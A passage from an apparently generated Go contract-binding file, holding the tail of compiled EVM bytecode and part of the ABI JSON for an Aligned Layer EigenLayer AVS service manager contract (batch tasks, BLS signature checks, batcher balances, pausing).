016146a4565b5095945050505050565b600082601f8301126146de57600080fd5b81356146ec61467882614636565b8082825260208201915060208360061b86010192508583111561470e57600080fd5b602085015b838110156146c357614725878261446e565b8352602090920191604001614713565b600082601f83011261474657600080fd5b813561475461467882614636565b8082825260208201915060208360051b86010192508583111561477657600080fd5b602085015b838110156146c35780356001600160401b0381111561479957600080fd5b6147a8886020838a0101614659565b8452506020928301920161477b565b600061018082840312156147ca57600080fd5b6147d26142c6565b905081356001600160401b038111156147ea57600080fd5b6147f684828501614659565b82525060208201356001600160401b0381111561481257600080fd5b61481e848285016146cd565b60208301525060408201356001600160401b0381111561483d57600080fd5b614849848285016146cd565b60408301525061485c83606084016144ef565b606082015261486e8360e0840161446e565b60808201526101208201356001600160401b0381111561488d57600080fd5b61489984828501614659565b60a0830152506101408201356001600160401b038111156148b957600080fd5b6148c584828501614659565b60c0830152506101608201356001600160401b038111156148e557600080fd5b6148f184828501614735565b60e08301525092915050565b60008060006060848603121561491257600080fd5b8335925061492260208501614622565b915060408401356001600160401b0381111561493d57600080fd5b614949868287016147b7565b9150509250925092565b600081518084526020840193506020830160005b8281101561498e5781516001600160601b0316865260209586019590910190600101614967565b5093949350505050565b60408152600083516040808401526149b36080840182614953565b90506020850151603f198483030160608501526149d08282614953565b925050508260208301529392505050565b60008083601f8401126149f357600080fd5b5081356001600160401b03811115614a0a57600080fd5b602083019150836020828501011115614a2257600080fd5b9250929050565b600080600060408486031215614a3e57600080fd5b83356001600160401b03811115614a5457600080fd5b614a60868287016149e1565b909790965060209590950135949350505050565b60008060408385031215614a8757600080fd5b8235614a928161439b565b915060208301356001600160401b03811115614aad57600080fd5b830160608186031215614abf57600080fd5b604051606081016001600160401b0381118282101715614ae157614ae1614288565b60405281356001600160401b03811115614afa57600080fd5b614b0687828501614374565b8252506020828101359082015260409182013591810191909152919491935090915050565b600060208284031215614b3d57600080fd5b81356001600160401b03811115614b5357600080fd5b8201601f81018413614b6457600080fd5b614b7384823560208401614319565b949350505050565b600080600060608486031215614b9057600080fd5b8335925060208401356149228161439b565b600080600060608486031215614bb757600080fd5b8335614bc28161439b565b92506020840135614bd28161439b565b91506040840135614be28161439b565b809150509250925092565b60008060008060608587031215614c0357600080fd5b8435935060208501356001600160401b03811115614c2057600080fd5b614c2c878288016149e1565b9598909750949560400135949350505050565b600080600080600080600060e0888a031215614c5a57600080fd5b873596506020880135955060408801359450614c7860608901614270565b93506080880135925060a08801356001600160401b03811115614c9a57600080fd5b614ca68a828b01614374565b979a969950949793969295929450505060c09091013590565b60008060208385031215614cd257600080fd5b82356001600160401b03811115614ce857600080fd5b8301601f81018513614cf957600080fd5b80356001600160401b03811115614d0f57600080fd5b8560208260051b8401011115614d2457600080fd5b6020919091019590945092505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115613b6857613b68614d34565b91825260601b6001600160601b031916602082015260340190565b634e487b7160e01b600052603260045260246000fd5b600082614dab57634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115613b6857613b68614d34565b600060208284031215614dd557600080fd5b5051919050565b600060208284031215614dee57600080fd5b81516001600160c01b0381168114613b6557600080fd5b600060208284031215614e1757600080fd5b8151613b6581614442565b6001600160601b038116811461112e57600080fd5b60006040828403128015614e4a57600080fd5b50614e5361429e565b8251614e5e8161439b565b81526020830151614e6e81614e22565b60208201529392505050565b600060018201614e8c57614e8c614d34565b5060010190565b600060208284031215614ea557600080fd5b8151613b658161439b565b600060208284031215614ec257600080fd5b815167ffffffffffffffff1981168114613b6557600080fd5b600060208284031215614eed57600080fd5b8151613b6581614e22565b6001600160601b038281168282160390811115613b6857613b68614d34565b63ffffffff60e01b8360e01b16815260006004820183516020850160005b82811015614f53578151845260209384019390910190600101614f35565b50919695505050505050565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b8183823760009101908152919050565b60208082526052908201527f536572766963654d616e61676572426173652e6f6e6c7952656769737472794360408201527f6f6f7264696e61746f723a2063616c6c6572206973206e6f742074686520726560608201527133b4b9ba393c9031b7b7b93234b730ba37b960711b608082015260a00190565b6000815180845260005b8181101561505b5760208185018101518683018201520161503f565b506000602082860101526020601f19601f83011685010191505092915050565b60018060a01b03831681526040602082015260008251606060408401526150a560a0840182615035565b90506020840151606084015260408401516080840152809150509392505050565b6020815260006143946020830184615035565b6001600160601b0381811683821602908116908181146150fb576150fb614d34565b5092915050565b8082028115828204841417613b6857613b68614d34565b6001600160a01b038616815263ffffffff851660208201526080604082018190528101839052828460a0830137600060a08483010152600060a0601f19601f86011683010190508260608301529695505050505050565b8881528760208201528660408201526001600160601b03198616606082015284608082015261010060a082015260006151ad610100830186615035565b60c0830194909452506001600160a01b039190911660e0909101529695505050505050565b6000602082840312156151e457600080fd5b8151613b65816145f7565b60008235609e1983360301811261520557600080fd5b9190910192915050565b8035613d128161439b565b81835260208301925060008160005b8481101561498e57813561523c8161439b565b6001600160a01b03168652602082013561525581614e22565b6001600160601b031660208701526040958601959190910190600101615229565b6020808252810182905260006040600584901b830181019083018583609e1936839003015b8782101561538357868503603f1901845282358181126152ba57600080fd5b8901803536829003601e190181126152d157600080fd5b81016020810190356001600160401b038111156152ed57600080fd5b8060061b36038213156152ff57600080fd5b60a0885261531160a08901828461521a565b9150506153206020830161520f565b6001600160a01b031660208801526040828101359088015261534460608301614622565b63ffffffff16606088015261535b60808301614622565b63ffffffff81166080890152915095505060209384019392909201916001919091019061529b565b5092979650505050505050565b600061ffff821661ffff81036153a8576153a8614d34565b6001019291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd470ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0424c535369676e6174757265436865636b65722e636865636b5369676e617475a2646970667358221220819045b4b9c06465e691c4cfb07850d93e1d4fdb13027babff2d60ea62a21b1f64736f6c634300081a0033", + ABI: "[{\"type\":\"constructor\",\"inputs\":[{\"name\":\"__avsDirectory\",\"type\":\"address\",\"internalType\":\"contractIAVSDirectory\"},{\"name\":\"__rewardsCoordinator\",\"type\":\"address\",\"internalType\":\"contractIRewardsCoordinator\"},{\"name\":\"__registryCoordinator\",\"type\":\"address\",\"internalType\":\"contractIRegistryCoordinator\"},{\"name\":\"__stakeRegistry\",\"type\":\"address\",\"internalType\":\"contractIStakeRegistry\"}],\"stateMutability\":\"nonpayable\"},{\"type\":\"receive\",\"stateMutability\":\"payable\"},{\"type\":\"function\",\"name\":\"alignedAggregator\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"avsDirectory\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"balanceOf\",\"inputs\":[{\"name\":\"account\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"batchersBalances\",\"inputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"batchesState\",\"inputs\":[{\"name\":\"\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}],\"outputs\":[{\"name\":\"taskCreatedBlock\",\"type\":\"uint32\",\"internalType\":\"uint32\"},{\"name\":\"responded\",\"type\":\"bool\",\"internalType\":\"bool\"},{\"name\":\"respondToTaskFeeLimit\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"blsApkRegistry\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"contractIBLSApkRegistry\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"checkPublicInput\",\"inputs\":[{\"name\":\"publicInput\",\"type\":\"bytes\",\"internalType\":\"bytes\"},{\"name\":\"hash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"pure\"},{\"type\":\"function\",\"name\":\"checkSignatures\",\"inputs\":[{\"name\":\"msgHash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"referenceBlockNumber\",\"type\":\"uint32\",\"internalType\":\"uint32\"},{\"name\":\"params\",\"type\":\"tuple\",\"internalType\":\"structIBLSSignatureChecker.NonSignerStakesAndSignature\",\"components\":[{\"name\":\"nonSignerQuorumBitmapIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"nonSignerPubkeys\",\"type\":\"tuple[]\",\"internalType\":\"structBN254.G1Point[]\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"quorumApks\",\"type\":\"tuple[]\",\"internalType\":\"structBN254.G1Point[]\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"apkG2\",\"type\":\"tuple\",\"internalType\":\"structBN254.G2Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"},{\"name\":\"Y\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"}]},{\"name\":\"sigma\",\"type\":\"tuple\",\"internalType\":\"structBN254.G1Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"quorumApkIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"totalStakeIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"nonSignerStakeIndices\",\"type\":\"uint32[][]\",\"internalType\":\"uint32[][]\"}]}],\"outputs\":[{\"name\":\"\",\"type\":\"tuple\",\"internalType\":\"structIBLSSignatureChecker.QuorumStakeTotals\",\"components\":[{\"name\":\"signedStakeForQuorum\",\"type\":\"uint96[]\",\"internalType\":\"uint96[]\"},{\"name\":\"totalStakeForQuorum\",\"type\":\"uint96[]\",\"internalType\":\"uint96[]\"}]},{\"name\":\"\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"createAVSRewardsSubmission\",\"inputs\":[{\"name\":\"rewardsSubmissions\",\"type\":\"tuple[]\",\"internalType\":\"structIRewardsCoordinator.RewardsSubmission[]\",\"components\":[{\"name\":\"strategiesAndMultipliers\",\"type\":\"tuple[]\",\"internalType\":\"structIRewardsCoordinator.StrategyAndMultiplier[]\",\"components\":[{\"name\":\"strategy\",\"type\":\"address\",\"internalType\":\"contractIStrategy\"},{\"name\":\"multiplier\",\"type\":\"uint96\",\"internalType\":\"uint96\"}]},{\"name\":\"token\",\"type\":\"address\",\"internalType\":\"contractIERC20\"},{\"name\":\"amount\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"startTimestamp\",\"type\":\"uint32\",\"internalType\":\"uint32\"},{\"name\":\"duration\",\"type\":\"uint32\",\"internalType\":\"uint32\"}]}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"createNewTask\",\"inputs\":[{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"batchDataPointer\",\"type\":\"string\",\"internalType\":\"string\"},{\"name\":\"respondToTaskFeeLimit\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"payable\"},{\"type\":\"function\",\"name\":\"delegation\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"contractIDelegationManager\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"depositToBatcher\",\"inputs\":[{\"name\":\"account\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"payable\"},{\"type\":\"function\",\"name\":\"deregisterOperatorFromAVS\",\"inputs\":[{\"name\":\"operator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"disableVerifier\",\"inputs\":[{\"name\":\"verifierIdx\",\"type\":\"uint8\",\"internalType\":\"uint8\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"disabledVerifiers\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"enableVerifier\",\"inputs\":[{\"name\":\"verifierIdx\",\"type\":\"uint8\",\"internalType\":\"uint8\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"getOperatorRestakedStrategies\",\"inputs\":[{\"name\":\"operator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[{\"name\":\"\",\"type\":\"address[]\",\"internalType\":\"address[]\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"getRestakeableStrategies\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address[]\",\"internalType\":\"address[]\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"initialize\",\"inputs\":[{\"name\":\"_initialOwner\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"_rewardsInitiator\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"_alignedAggregator\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"_pauserRegistry\",\"type\":\"address\",\"internalType\":\"contractIPauserRegistry\"},{\"name\":\"_initialPausedStatus\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"initializeAggregator\",\"inputs\":[{\"name\":\"_alignedAggregator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"initializePauser\",\"inputs\":[{\"name\":\"_pauserRegistry\",\"type\":\"address\",\"internalType\":\"contractIPauserRegistry\"},{\"name\":\"_initialPausedStatus\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"isVerifierDisabled\",\"inputs\":[{\"name\":\"verifierIdx\",\"type\":\"uint8\",\"internalType\":\"uint8\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"owner\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"pause\",\"inputs\":[{\"name\":\"newPausedStatus\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"pauseAll\",\"inputs\":[],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"paused\",\"inputs\":[{\"name\":\"index\",\"type\":\"uint8\",\"internalType\":\"uint8\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"paused\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"pauserRegistry\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"contractIPauserRegistry\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"registerOperatorToAVS\",\"inputs\":[{\"name\":\"operator\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"operatorSignature\",\"type\":\"tuple\",\"internalType\":\"structISignatureUtils.SignatureWithSaltAndExpiry\",\"components\":[{\"name\":\"signature\",\"type\":\"bytes\",\"internalType\":\"bytes\"},{\"name\":\"salt\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"expiry\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"registryCoordinator\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"contractIRegistryCoordinator\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"renounceOwnership\",\"inputs\":[],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"respondToTaskV2\",\"inputs\":[{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"senderAddress\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"nonSignerStakesAndSignature\",\"type\":\"tuple\",\"internalType\":\"structIBLSSignatureChecker.NonSignerStakesAndSignature\",\"components\":[{\"name\":\"nonSignerQuorumBitmapIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"nonSignerPubkeys\",\"type\":\"tuple[]\",\"internalType\":\"structBN254.G1Point[]\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"quorumApks\",\"type\":\"tuple[]\",\"internalType\":\"structBN254.G1Point[]\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"apkG2\",\"type\":\"tuple\",\"internalType\":\"structBN254.G2Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"},{\"name\":\"Y\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"}]},{\"name\":\"sigma\",\"type\":\"tuple\",\"internalType\":\"structBN254.G1Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"quorumApkIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"totalStakeIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"nonSignerStakeIndices\",\"type\":\"uint32[][]\",\"internalType\":\"uint32[][]\"}]}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"rewardsInitiator\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"setAggregator\",\"inputs\":[{\"name\":\"_alignedAggregator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"setDisabledVerifiers\",\"inputs\":[{\"name\":\"bitmap\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"setPauserRegistry\",\"inputs\":[{\"name\":\"newPauserRegistry\",\"type\":\"address\",\"internalType\":\"contractIPauserRegistry\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"setRewardsInitiator\",\"inputs\":[{\"name\":\"newRewardsInitiator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"setStaleStakesForbidden\",\"inputs\":[{\"name\":\"value\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"stakeRegistry\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"contractIStakeRegistry\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"staleStakesForbidden\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"transferOwnership\",\"inputs\":[{\"name\":\"newOwner\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"trySignatureAndApkVerification\",\"inputs\":[{\"name\":\"msgHash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"apk\",\"type\":\"tuple\",\"internalType\":\"structBN254.G1Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"apkG2\",\"type\":\"tuple\",\"internalType\":\"structBN254.G2Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"},{\"name\":\"Y\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"}]},{\"name\":\"sigma\",\"type\":\"tuple\",\"internalType\":\"structBN254.G1Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]}],\"outputs\":[{\"name\":\"pairingSuccessful\",\"type\":\"bool\",\"internalType\":\"bool\"},{\"name\":\"siganatureIsValid\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"unpause\",\"inputs\":[{\"name\":\"newPausedStatus\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"updateAVSMetadataURI\",\"inputs\":[{\"name\":\"_metadataURI\",\"type\":\"string\",\"internalType\":\"string\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"verifyBatchInclusion\",\"inputs\":[{\"name\":\"proofCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"pubInputCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"provingSystemAuxDataCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"proofGeneratorAddr\",\"type\":\"bytes20\",\"internalType\":\"bytes20\"},{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"merkleProof\",\"type\":\"bytes\",\"internalType\":\"bytes\"},{\"name\":\"verificationDataBatchIndex\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"senderAddress\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"verifyBatchInclusion\",\"inputs\":[{\"name\":\"proofCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"pubInputCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"provingSystemAuxDataCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"proofGeneratorAddr\",\"type\":\"bytes20\",\"internalType\":\"bytes20\"},{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"merkleProof\",\"type\":\"bytes\",\"internalType\":\"bytes\"},{\"name\":\"verificationDataBatchIndex\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"withdraw\",\"inputs\":[{\"name\":\"amount\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"event\",\"name\":\"BatchVerified\",\"inputs\":[{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"indexed\":true,\"internalType\":\"bytes32\"},{\"name\":\"senderAddress\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"address\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"BatcherBalanceUpdated\",\"inputs\":[{\"name\":\"batcher\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"},{\"name\":\"newBalance\",\"type\":\"uint256\",\"indexed\":false,\"internalType\":\"uint256\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"Initialized\",\"inputs\":[{\"name\":\"version\",\"type\":\"uint8\",\"indexed\":false,\"internalType\":\"uint8\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"NewBatchV2\",\"inputs\":[{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"indexed\":true,\"internalType\":\"bytes32\"},{\"name\":\"senderAddress\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"address\"},{\"name\":\"taskCreatedBlock\",\"type\":\"uint32\",\"indexed\":false,\"internalType\":\"uint32\"},{\"name\":\"batchDataPointer\",\"type\":\"string\",\"indexed\":false,\"internalType\":\"string\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"NewBatchV3\",\"inputs\":[{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"indexed\":true,\"internalType\":\"bytes32\"},{\"name\":\"senderAddress\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"address\"},{\"name\":\"taskCreatedBlock\",\"type\":\"uint32\",\"indexed\":false,\"internalType\":\"uint32\"},{\"name\":\"batchDataPointer\",\"type\":\"string\",\"indexed\":false,\"internalType\":\"string\"},{\"name\":\"respondToTaskFeeLimit\",\"type\":\"uint256\",\"indexed\":false,\"internalType\":\"uint256\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"OwnershipTransferred\",\"inputs\":[{\"name\":\"previousOwner\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"},{\"name\":\"newOwner\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"Paused\",\"inputs\":[{\"name\":\"account\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"},{\"name\":\"newPausedStatus\",\"type\":\"uint256\",\"indexed\":false,\"internalType\":\"uint256\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"PauserRegistrySet\",\"inputs\":[{\"name\":\"pauserRegistry\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"contractIPauserRegistry\"},{\"name\":\"newPauserRegistry\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"contractIPauserRegistry\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"RewardsInitiatorUpdated\",\"inputs\":[{\"name\":\"prevRewardsInitiator\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"address\"},{\"name\":\"newRewardsInitiator\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"address\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"StaleStakesForbiddenUpdate\",\"inputs\":[{\"name\":\"value\",\"type\":\"bool\",\"indexed\":false,\"internalType\":\"bool\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"Unpaused\",\"inputs\":[{\"name\":\"account\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"},{\"name\":\"newPausedStatus\",\"type\":\"uint256\",\"indexed\":false,\"internalType\":\"uint256\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"VerifierDisabled\",\"inputs\":[{\"name\":\"verifierIdx\",\"type\":\"uint8\",\"indexed\":true,\"internalType\":\"uint8\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"VerifierEnabled\",\"inputs\":[{\"name\":\"verifierIdx\",\"type\":\"uint8\",\"indexed\":true,\"internalType\":\"uint8\"}],\"anonymous\":false},{\"type\":\"error\",\"name\":\"BatchAlreadyResponded\",\"inputs\":[{\"name\":\"batchIdentifierHash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}]},{\"type\":\"error\",\"name\":\"BatchAlreadySubmitted\",\"inputs\":[{\"name\":\"batchIdentifierHash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}]},{\"type\":\"error\",\"name\":\"BatchDoesNotExist\",\"inputs\":[{\"name\":\"batchIdentifierHash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}]},{\"type\":\"error\",\"name\":\"InsufficientFunds\",\"inputs\":[{\"name\":\"batcher\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"required\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"available\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"type\":\"error\",\"name\":\"InvalidAddress\",\"inputs\":[{\"name\":\"param\",\"type\":\"string\",\"internalType\":\"string\"}]},{\"type\":\"error\",\"name\":\"InvalidDepositAmount\",\"inputs\":[{\"name\":\"amount\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"type\":\"error\",\"name\":\"InvalidQuorumThreshold\",\"inputs\":[{\"name\":\"signedStake\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"requiredStake\",